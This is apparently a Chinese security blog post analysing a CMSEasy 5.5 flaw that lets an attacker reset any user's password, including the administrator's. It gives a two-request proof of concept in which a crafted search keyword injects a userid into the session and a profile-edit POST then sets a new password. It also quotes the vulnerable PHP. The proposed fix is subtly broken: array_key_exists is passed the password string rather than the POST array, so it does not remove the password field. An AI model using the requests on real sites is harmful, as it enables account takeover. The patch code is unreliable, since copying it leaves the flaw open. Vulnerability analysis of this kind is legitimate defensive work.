zoukankan      html  css  js  c++  java
  • CMSEASY /lib/tool/front_class.php、/lib/default/user_act.php arbitrary user password reset vulnerability

    catalog

    1. 漏洞描述
    2. 漏洞触发条件
    3. 漏洞影响范围
    4. 漏洞代码分析
    5. 防御方法
    6. 攻防思考

    1. 漏洞描述

    攻击者通过构造特殊的HTTP包,可以直接重置任意用户(包括管理员)的密码

    Relevant Link:

    http://www.cmseasy.cn/patch/show_919.html


    2. 漏洞触发条件

    0x1: POC

    1. 首先利用search_action控制userid的值
    http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
    POST
    keyword=|userid|i:1;"1"
    
    2. 利用edit_action修改用户密码和其它资料
    http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
    POST
    password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4

    3. 漏洞影响范围

    4. 漏洞代码分析

    /lib/default/user_act.php

    function edit_action() 
    {
        if(front::post('submit')) 
        {
            unset(front::$post['groupid']);
            unset(front::$post['powerlist']);
            if(!is_email(front::$post['e_mail']))
            {
                alerterror('邮箱格式不对');
            }
            foreach (front::$post as $k => $v)
            {
                if(is_array($v) && !empty($v))
                {
                    front::$post[$k] = implode(',', $v);
                }
                front::check_type(front::post($k), 'safe');
            }
            //通过取session的userid字段更新该用户资料
            $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
            front::flash(lang('修改资料成功!'));
            front::redirect(url::create('user/index'));
        }
        $this->view->data=$this->view->user;
    }

    edit_action函数实现修改用户资料,通过取sesson中的userid字段来更改。所以攻击路径必须能控制生成session中的userid字段,控制生成session的函数位置: /lib/default/form_act.php
    我们继续回溯这个漏洞

    function search_action() 
    {
        if(front::get('keyword') &&!front::post('keyword'))
        {
            front::$post['keyword']=front::get('keyword');
        } 
        front::check_type(front::post('keyword'),'safe');
        //获取POST数据中的keyword参数
        if(front::post('keyword')) 
        {
            $this->view->keyword=trim(front::post('keyword'));
            if(inject_check($this->view->keyword))
            {
                exit('非法请求!');
            }
            //通过恶意检测之后,通过session保存keyword参数
            session::set('keyword',$this->view->keyword);
        }
        else 
        {
            session::set('keyword',null);
            $this->view->keyword=session::get('keyword');
        }
        if(inject_check($this->view->keyword))
        {
            exit('非法请求!');
        }
        var_dump($this->view->keyword);
    
        $type = $this->view->type;
        $condition = "";
        if(front::post('catid')) 
        {
            $condition .= "catid = '".front::post('catid')."' AND ";
        }
        $condition .= "(title like '%".$this->view->keyword."%'";
        $sets=settings::getInstance()->getrow(array('tag'=>'table-fieldset'));
        $arr = unserialize($sets['value']);
        if(is_array($arr['archive']) &&!empty($arr['archive'])) 
        {
            foreach ($arr['archive'] as $v) 
            {
                if($v['issearch'] == '1') 
                {
                    $condition .= " OR {$v['name']} like '%{$this->view->keyword}%'";
                }
            }
        }
        $condition .= ")";
        $order = "`listorder` desc,1 DESC";
        $limit=(($this->view->page-1)*$this->pagesize).','.$this->pagesize;
        $articles=$this->archive->getrows($condition,$limit,$order);
        foreach($articles as $order=>$arc) 
        {
            $articles[$order]['url']=archive::url($arc);
            $articles[$order]['catname']=category::name($arc['catid']);
            $articles[$order]['caturl']=category::url($arc['catid']);
            $articles[$order]['adddate']= sdate($arc['adddate']);
            $articles[$order]['stitle']= strip_tags($arc['title']);
        }
        $this->view->articles=$articles;
        $this->view->archives=$articles;
        $this->view->record_count=$this->archive->record_count;
    }

    从访问控制的角度来看,这个漏洞有两个原因导致

    1. session不应该由攻击者随便修改,导致keyword被注入修改,这是一个平行权限漏洞
    2. 修改密码的入口来自于"用户资料修改",UI界面上只提供了普通身份资料的修改,但是因此MVC框架对POST数据进行了遍历,取出所有字段并进行了数据表更新操作,导致发生了表单字段注入

    5. 防御方法

    将代码逻辑和UI逻辑进行统一,防止出现表单字段注入
    /lib/default/user_act.php

    function edit_action() 
    {  
        if(front::post('submit')) 
        {
            unset(front::$post['groupid']);
            unset(front::$post['powerlist']);
            if(!is_email(front::$post['e_mail']))
            {
            alerterror('邮箱格式不对');
            } 
            /**/
            $tmp = front::$post;
            if ( array_key_exists("password", $tmp['password']) ) 
            {
            unset($tmp['password']);
            } 
            front::$post = $tmp;
            /**/
            foreach (front::$post as $k => $v)
            {
                if(is_array($v) && !empty($v))
            {
                    front::$post[$k] = implode(',', $v);
                }
                front::check_type(front::post($k), 'safe');
            }
            //通过取session的userid字段更新该用户资料
            $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
            front::flash(lang('修改资料成功!'));
            front::redirect(url::create('user/index'));
        }
        $this->view->data=$this->view->user;
    }


    6. 攻防思考

    Copyright (c) 2015 LittleHann All rights reserved

  • 相关阅读:
    Java实现 LeetCode 69 x的平方根
    Java实现 LeetCode 68 文本左右对齐
    Java实现 LeetCode 68 文本左右对齐
    Java实现 LeetCode 68 文本左右对齐
    Java实现 LeetCode 67 二进制求和
    Java实现 LeetCode 67 二进制求和
    Java实现 LeetCode 67 二进制求和
    Java实现 LeetCode 66 加一
    Java实现 LeetCode 66 加一
    CxSkinButton按钮皮肤类
  • 原文地址:https://www.cnblogs.com/LittleHann/p/4616471.html
Copyright © 2011-2022 走看看